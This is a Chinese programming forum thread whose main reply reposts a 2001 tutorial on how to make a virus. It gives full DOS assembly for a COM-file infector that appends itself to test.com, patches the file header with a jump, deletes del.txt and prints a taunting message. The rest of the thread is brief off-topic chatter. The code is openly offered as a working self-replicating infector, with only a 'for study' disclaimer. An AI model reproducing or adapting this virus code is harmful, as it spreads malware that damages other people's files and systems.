在"人才热线"不更好?!:
http://www.csdn.net/expert/topic/359/359641.shtm

解决方案 »

  1.   


    -- 标签 -- 
    题目 学习病毒的制作原理 类别 通用 
    作者 彬 日期 2001.9.5 
    备注 仅供学习 -「原创作品」中具有原码下载 
    阅读次数: 109 - 
     
    病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病毒),而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往,但是往往又因为汇编语言的难学等问题望而却步。这篇文章就是教给大家如何制作一个简单的程序,这个程序虽然算不上病毒但是具有病毒的传染性,而往往病毒的传染性是平常人最难做到的。好啦,现在转入正题,先讲讲病毒是如何传染的,传染后又如何在被染的文件中执行的,其实道理非常简单:病毒一般将其代码写入执行文件的尾部,然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。现在举一个试例进行说明: ;-----------------------------------------
    ;功能:感染当前文件夹的test.com文件
    ; 并删除当前文件夹的del.txt文件
    ; 显示预设的字符串
    CSEG SEGMENT
    ASSUME CS:CSEG,DS:CSEG,SS:CSEGmain PROC NEAR
     mainstart: 
      CALL vstart ;病毒的代码开始处
     vstart: 
      POP SI ;得到当前地址
      MOV BP,SI ;保存当前地址
      PUSH SI  MOV AH,9
      ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串
      MOV DX,SI
      INT 21h 
      POP SI  ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节
      MOV DI,100h ;目的地址
      MOV AX,DS:[SI] ;开始复制
      MOV DS:[DI],AX
      INC SI
      INC SI
      INC DI
      INC DI  MOV AX,DS:[SI]
      MOV DS:[DI],AX  MOV SI,BP ;恢复地址值  MOV DX,OFFSET delname-OFFSET vstart
      ADD DX,SI
      MOV AH,41h
      INT 21h
      MOV DX,OFFSET filename-OFFSET vstart ;得到文件名
      ADD DX,SI 
      MOV AL,02 
      MOV AH,3dh ;写文件
      INT 21h
      JC error
     
      MOV BX,AX ;文件句柄
      MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节
      ADD DX,SI
      MOV CX,4
      MOV AH,3fh
      INT 21h  MOV AX,4202h ;到文件尾
      XOR CX,CX
      XOR DX,DX
      INT 21h  MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
      ADD DI,2
      ADD DI,SI
      SUB AX,4
      MOV DS:[DI],AX
      ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒
      MOV DX,SI
      MOV vsizes,OFFSET vends-OFFSET mainstart
      MOV CX,vsizes 
      MOV AH,40h
      INT 21h  MOV SI,BP ;定位到文件头
      MOV AL,0 
      XOR CX,CX
      XOR DX,DX
      MOV AH,42h
      INT 21h  MOV AH,40h ;将新的文件头写入
      MOV CX,4
      MOV DX,OFFSET new4byte-OFFSET vstart 
      ADD DX,SI
      INT 21h  MOV AH,3eh ;关闭文件
      INT 21h
     error: 
      MOV AX,100h
      PUSH AX 
      RET
    main ENDP 
     yuan4byte: 
     RET
       DB 3 DUP (?) 
       vsizes DW 0
       new4byte DB 'M',0e9h,0,0 
       filename DB "test.com",0 
       delname DB "del.txt",0 
       message DB "He he he he!" 
       DB 0dh,0ah,"$"
     vends:  start: 
       MOV AX,CSEG
       MOV DS,AX
       MOV SS,AX 
       CALL main   MOV AX,4c00h
       INT 21h   CSEG ENDS
     END start以上就是一个简单的可以传染COM文件的程序代码, 也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。附:
     COM文件执行时将COM文件内所的所有内容COPY到内存, 起始地址是100,然后进行执行
     没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒。 
        留言探讨... 
      

  2.   

    csq_csq(小清):
    你有没有39.5度,要不要开几天病假?
      

  3.   

    csq_csq(小清): is who ?